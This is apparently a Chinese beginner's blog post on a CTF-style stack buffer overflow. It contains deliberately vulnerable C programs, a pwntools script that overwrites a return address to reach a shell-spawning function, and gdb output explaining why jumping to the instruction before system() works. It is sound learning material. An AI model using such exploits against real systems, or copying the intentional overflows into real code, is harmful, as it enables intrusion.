我没有完全解决这个bug

pwn初学者,写缓冲区溢出时拿shell遇到了Got EOF while reading in interactive。

1、system函数

程序源代码:
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
 
 void exploit(){
 
     //system("/bin/sh");	//使用system无法拿到shell
 
     char *name[2];
     name[0]="/bin/sh";
     name[1]=NULL;
     execve("/bin/sh",name,NULL);	//使用execve可以成功
 
     printf("agian\n");
 }
 void func(){
     char str[0x5];
     read(STDIN_FILENO, str,0x100);
 }
 int main(){
     func();
     return 0;
 }

pwntools写的脚本:

 from pwn import *
 p = process("./01.out")
 
 offset = 13
 
 payload = 'a'*offset + p64(0x0000000000401176)
 # print("payload:"+payload)
 # print("address:"+p64(0x0000000000401176) )
 
 p.send(payload)
 p.interactive()

一开始使用system函数,但结果:
出现错误Got EOF

错误描述:

使用execve函数时可以成功覆盖返回地址拿到shell,但是使用system函数时会发生:“Got EOF while reading in interactive”。

错误原因:

经过调试发现覆盖的返回地址的原因。
两个函数我都使用了exploit()函数的初始地址进行覆盖。但是在利用system函数时,应该选用call指令之前一条指令的地址进行覆盖。
以下是gdb调试:

gdb-peda$ disassemble exploit					//查看exploit()函数的汇编代码
Dump of assembler code for function exploit:
   0x0000000000401176 <+0>:	endbr64 	  //最初选择用这一条地址覆盖,失败。
   										  //但如果是使用execve(),则可以使用这一条地址
   0x000000000040117a <+4>:	push   rbp
   0x000000000040117b <+5>:	mov    rbp,rsp
   ....省略....
   0x000000000040118a <+20>:	lea    rdi,[rip+0xe82]     //更正为call之前的这一条指令,成功
   0x0000000000401191 <+27>:	call   0x401070 <system@plt>
   ....省略....
   0x00000000004011a3 <+45>:	pop    rbp
   0x00000000004011a4 <+46>:	ret    
End of assembler dump.

在调整地址后,成功返回shell:
成功返回shell

2、strcpy和strncpy

如果程序中造成溢出的是strcpy()或者strnpy(),也不会成功,但是同样的脚本,更改为合适的偏移量和返回地址后,对read()造成溢出的程序却可以成功。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void func(){
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve("/bin/sh",name,NULL);
}   
int main(){
    char str[0x5];
    read(STDIN_FILENO,str,0x50);	//如果是由read造成溢出,可以成功拿到shell
    return 0;
}  
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

void exploit(){
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve("/bin/sh",name,NULL);
}
void func(char *str){
    char buffer[0x10];
    strcpy(buffer,str);		//如果是strcpy造成溢出,无法成功
}
int main(){
    char str[0x50];
    read(STDIN_FILENO, str, 0x50);
    func(str);
    return 0;
}

个人猜测有可能是strcpy遇到0x00会停止复制的原因。

我的环境

在这里插入图片描述

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐